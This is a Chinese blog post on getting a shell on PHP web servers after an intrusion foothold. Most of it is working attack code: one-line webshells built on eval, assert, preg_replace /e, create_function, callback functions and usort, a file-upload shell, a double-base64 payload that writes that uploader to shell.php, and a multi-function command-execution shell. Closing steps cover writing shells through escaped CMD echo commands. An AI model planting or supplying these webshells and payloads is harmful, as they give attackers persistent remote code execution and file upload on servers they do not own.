【隨筆】菜刀(代碼執行)函數和命令執行函數詳解及Getshell方法

代碼執行函數 VS 命令執行函數php

  一直想整理這兩塊的內容,可是一直沒時間弄,直到前兩天碰上一個寫入了菜刀馬可是死活連不上菜刀的站,頓時不知道怎麼繼續了,因此就趁這個機會整理了一下代碼執行函數怎麼getshell和命令執行函數怎麼getshell的思路,各位大牛有什麼想法能夠一塊兒交流一下。那麼咱們開始正題。html

  菜刀馬的原理實際上是調用了代碼執行函數。而菜刀之因此可以執行系統命令和上傳文件,也是調用了命令執行函數。命令馬的原理是調用了命令執行函數。mysql

  這兩種都可以getshell(以上傳大馬爲準)由於有一些服務器作了限制,好比菜刀連不上,或者禁用了某些函數,或者利用SQL注入寫文件和XML之類的漏洞,因此有時候在有了菜刀馬和命令馬以後要上傳大馬仍是有一些波折的,固然可以直接上傳或寫入大馬的除外。sql

 1、shell

首先是菜刀馬:數組

  菜刀馬的原理是調用了PHP的代碼執行函數,好比如下1和2兩個常見的一句話菜刀馬,就是調用了eval函數、assert函數。服務器

一、eval()函數函數

#傳入的參數必須爲PHP代碼,既須要以分號結尾。
#命令執行:cmd=system(whoami);
#菜刀鏈接密碼:cmd
<?php @eval($_POST['cmd']);?>

那麼當咱們上傳了eval函數的菜刀馬以後,在鏈接不上菜刀的狀況下怎麼上傳大馬呢?繼續往下看post

這裏我是先寫一個上傳馬,再用上傳馬去上傳大馬,有點屢次一舉,可是考慮到大馬代碼量太多,仍是建議先寫個上傳馬,如下代碼只有1kb。網站

<?php 
@$temp = $_FILES['upload_file']['tmp_name'];
@$file = basename($_FILES['upload_file']['name']);
if (empty ($file)){
echo "<form action = '' method = 'POST' ENCTYPE='multipart/form-data'>\n";echo "Local file: <input type = 'file' name = 'upload_file'>\n";echo "<input type = 'submit' value = 'Upload'>\n";echo "</form>\n<pre>\n\n</pre>";}else {if(move_uploaded_file($temp,$file)){echo "File uploaded successfully.<p>\n";}else {echo "Unable to upload " . $file . ".<p>\n";}}?>

原理是利用文件操做函數以下:

fputs(fopen(shell.php,w),xxxx);

寫入xxxx到腳本執行文件當前目錄下的shell.php文件。

因爲是利用post傳參,不能出現【<】【>】【+】【=】【/】等符號,因此這裏咱們須要把代碼編碼一下,將上面的上傳代碼進行兩次base64編碼(爲了去除=號)。

☆☆☆在編碼的時候空格和回車都會影響編碼後的結果,所以建議你們直接複製我上面的上傳馬或者用下面我編碼好的,或者本身去慢慢嘗試直到base64編碼後爲一串自由數字和字母的字符串便可。

接下來利用文件操做函數寫入上傳馬,注意不要忘了最後的分號。

cmd=fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(base64_decode(UEQ5d2FIQWdEUXBBSkhSbGJYQWdQU0FrWDBaSlRFVlRXeWQxY0d4dllXUmZabWxzWlNkZFd5ZDBiWEJmYm1GdFpTZGRPdzBLUUNSbWFXeGxJRDBnWW1GelpXNWhiV1VvSkY5R1NVeEZVMXNuZFhCc2IyRmtYMlpwYkdVblhWc25ibUZ0WlNkZEtUc05DbWxtSUNobGJYQjBlU0FvSkdacGJHVXBLWHNOQ21WamFHOGdJanhtYjNKdElHRmpkR2x2YmlBOUlDY25JRzFsZEdodlpDQTlJQ2RRVDFOVUp5QkZUa05VV1ZCRlBTZHRkV3gwYVhCaGNuUXZabTl5YlMxa1lYUmhKejVjYmlJN1pXTm9ieUFpVEc5allXd2dabWxzWlRvZ1BHbHVjSFYwSUhSNWNHVWdQU0FuWm1sc1pTY2dibUZ0WlNBOUlDZDFjR3h2WVdSZlptbHNaU2MrWEc0aU8yVmphRzhnSWp4cGJuQjFkQ0IwZVhCbElEMGdKM04xWW0xcGRDY2dkbUZzZFdVZ1BTQW5WWEJzYjJGa0p6NWNiaUk3WldOb2J5QWlQQzltYjNKdFBseHVQSEJ5WlQ1Y2JseHVQQzl3Y21VK0lqdDlaV3h6WlNCN2FXWW9iVzkyWlY5MWNHeHZZV1JsWkY5bWFXeGxLQ1IwWlcxd0xDUm1hV3hsS1NsN1pXTm9ieUFpUm1sc1pTQjFjR3h2WVdSbFpDQnpkV05qWlhOelpuVnNiSGt1UEhBK1hHNGlPMzFsYkhObElIdGxZMmh2SUNKVmJtRmliR1VnZEc4Z2RYQnNiMkZrSUNJZ0xpQWtabWxzWlNBdUlDSXVQSEErWEc0aU8zMTlQejQ9)));

成功獲得上傳馬,以後就是上傳咱們的大馬了。

二、assert()函數

#assert函數是直接將傳入的參數當成PHP代碼直接,不須要以分號結尾,固然你加上也能夠。
#命令執行:cmd=system(whoami)
#菜刀鏈接密碼:cmd
<?php @assert($_POST['cmd'])?>

上傳大馬,這一步參考eval函數。

 

其餘的代碼執行函數還有如下幾個,均給出了菜刀鏈接方式:

 

三、preg_replace()

#preg_replace('正則規則','替換字符','目標字符')
#執行命令和上傳文件參考assert函數(不須要加分號)。
#將目標字符中符合正則規則的字符替換爲替換字符,此時若是正則規則中使用/e修飾符,則存在代碼執行漏洞。 preg_replace("/test/e",$_POST["cmd"],"jutst test");

 這裏可使用chr()函數轉換ASCII編碼來執行代碼。

#phpinfo();
eval(chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111).chr(40).chr(41).chr(59))

 

四、create_function()函數

#建立匿名函數執行代碼
#執行命令和上傳文件參考eval函數(必須加分號)。
#菜刀鏈接密碼:cmd
$func =create_function('',$_POST['cmd']);$func();

 

五、array_map()函數

#array_map() 函數將用戶自定義函數做用到數組中的每一個值上,並返回用戶自定義函數做用後的帶有新值的數組。 回調函數接受的參數數目應該和傳遞給 array_map() 函數的數組數目一致。
#命令執行http://localhost/123.php?func=system   cmd=whoami
#菜刀鏈接http://localhost/123.php?func=assert   密碼:cmd
$func=$_GET['func'];
$cmd=$_POST['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
echo $new_array;

 

六、call_user_func()函數

#傳入的參數做爲assert函數的參數
#cmd=system(whoami)
#菜刀鏈接密碼:cmd
call_user_func("assert",$_POST['cmd']);

 

七、call_user_func_array()函數

#將傳入的參數做爲數組的第一個值傳遞給assert函數
#cmd=system(whoami)
#菜刀鏈接密碼:cmd
$cmd=$_POST['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);

 

八、array_filter()函數

#用回調函數過濾數組中的元素:array_filter(數組,函數)
#命令執行func=system&cmd=whoami
#菜刀鏈接http://localhost/123.php?func=assert  密碼cmd
$cmd=$_POST['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);

 

 九、uasort()函數

#php環境>=<5.6才能用
#uasort() 使用用戶自定義的比較函數對數組中的值進行排序並保持索引關聯 。
#命令執行:http://localhost/123.php?1=1+1&2=eval($_GET[cmd])&cmd=system(whoami);
#菜刀鏈接:http://localhost/123.php?1=1+1&2=eval($_POST[cmd])   密碼:cmd
usort($_GET,'asse'.'rt');

 

 2、

 命令執行函數

   PHP執行系統命令的有幾個經常使用的函數,若有:system函數、exec函數、popen函數,passthru,shell_exec函數他們均可以執行系統命令,下面是我整理的一個命令馬,把常見的命令執行函數都作了一個梳理,若是你們還有什麼新的思路或看法,能夠一塊兒交流交流。

<?php
$command=$_POST['cmd'];
#function exec_all($command)
#{
    
//system函數可執行並直接顯示結果
if(function_exists('system'))
{
    echo "<pre>";
    system($command);
    echo "</pre>";
}

//passthru函數可執行並直接顯示結果
else if(function_exists('passthru'))
{
    echo "<pre>";
    passthru($command);
    echo "</pre>";
}

//shell_exec函數可執行但須要加echo才能顯示結果
else if(function_exists('shell_exec'))
{
    echo "<pre>";
    echo shell_exec($command);
    echo "</pre>";
}

//function exec(命令,以數組形式的保存結果,命令執行的狀態碼)
//可執行,但須要加echo才能顯示結果
else if(function_exists('exec'))
{   
    echo "<pre>";
    exec($command,$output);
    echo "</br>";
    print_r($output); 
    echo "</pre>";
}

//popen函數:打開一個指向進程的管道,該進程由派生指定的 command 命令執行而產生。
//返回一個和 fopen() 所返回的相同的文件指針,只不過它是單向的(只能用於讀或寫)
//此指針能夠用於 fgets(),fgetss() 和 fwrite()。而且必須用 pclose() 來關閉。
//若出錯,則返回 false。
else if(function_exists('popen'))
{
    $handle = popen($command , "r"); // Open the command pipe for reading
    if(is_resource($handle))
    {
        if(function_exists('fread') && function_exists('feof'))
        {
            echo "<pre>";
            while(!feof($handle))
            {
                echo fread($handle, 1024);        
            }
            echo "</pre>";
        }
        else if(function_exists('fgets') && function_exists('feof'))
        {
            echo "<pre>";
            while(!feof($handle))
            {        
                echo fgets($handle,1024);
            }
            echo "<pre>";
        }
    }
    pclose($handle);
}

//proc_open — 執行一個命令,而且打開用來輸入/輸出的文件指針。
else if(function_exists('proc_open'))
{
    $descriptorspec = array(
            1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
            );
    $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes'
    if(is_resource($handle))
    {
        if(function_exists('fread') && function_exists('feof'))
        {
            echo "<pre>";
            while(!feof($pipes[1]))
            {
                echo fread($pipes[1], 1024);        
            }
            echo "</pre>";
        }
        else if(function_exists('fgets') && function_exists('feof'))
        {
            echo "<pre>";
            while(!feof($pipes[1]))
            {        
                echo fgets($pipes[1],1024);
            }
            echo "<pre>";
        }
    }
    #pclose($handle);
}

else 
{
    echo 'GG';
}
#}

其餘函數:

暫時就知道其餘兩個函數,不過也都是基於以上的函數所變化的。

<?php
$cmd=$_POST['cmd'];
echo "<pre>";

//可執行並直接顯示結果,反引號,波浪鍵。
//shell_exec() 函數實際上僅是反撇號 (`) 操做符的變體
//因此若是把shell_exec()函數禁用了,反撇號 (`)也是執行不了命令的。
echo `$cmd`;


//注意,這個只顯示結果的第一行,所以基本只能執行whoami
//ob_start:打開緩衝區,須要system函數開啓
$a = 'system';
ob_start($a);
echo "$_POST[cmd]";
ob_end_flush();

echo "</pre>";

  上面講完命令執行命令,也均可以執行命令了,那麼如何利用這些命令馬來進一步上傳咱們的大馬呢,這裏就要涉及到一下CMD命令了,有興趣的同窗能夠去參考連接查看《CMD命令特殊符號》的文章。

這裏了我是用echo寫文件的思路,遺忘大佬教的用msf結合命令行去下載大馬我暫時還沒去實踐,就留着之後有時間再寫了,廢話很少說,開幹吧!

 

  成功執行命令以後,首先利用【dir】命令獲得網站路徑,若是是mysql注入獲得的os-shell也可用【dir d:\ /b】命令查找存放網站程序的路徑。

  而後用【echo】命令寫入咱們的上傳馬

☆☆☆這裏注意【<】【>】【&】這三個字符在CMD命令行中有特殊意義,須要在前面加【^】進行轉義,能夠用文本的替換來實現這個功能。

寫入成功以後就能夠上傳咱們的大馬啦 ^-^!而後就看你們的啦,該修復修復,想提交提交,到這裏就結束啦,有什麼意見歡迎一塊兒交流交流。

 

 

參考連接:

https://www.cnblogs.com/xiaozi/p/7834367.html
https://blog.csdn.net/yatere/article/details/7765270
http://blog.163.com/magicc_love/blog/static/185853662201542810350983/

 

 

 

笨鳥先飛早入林,笨人勤學早成材。

轉載請註明出處:
撰寫人:fox-yu  http://www.cnblogs.com/fox-yu/
相關文章
相關標籤/搜索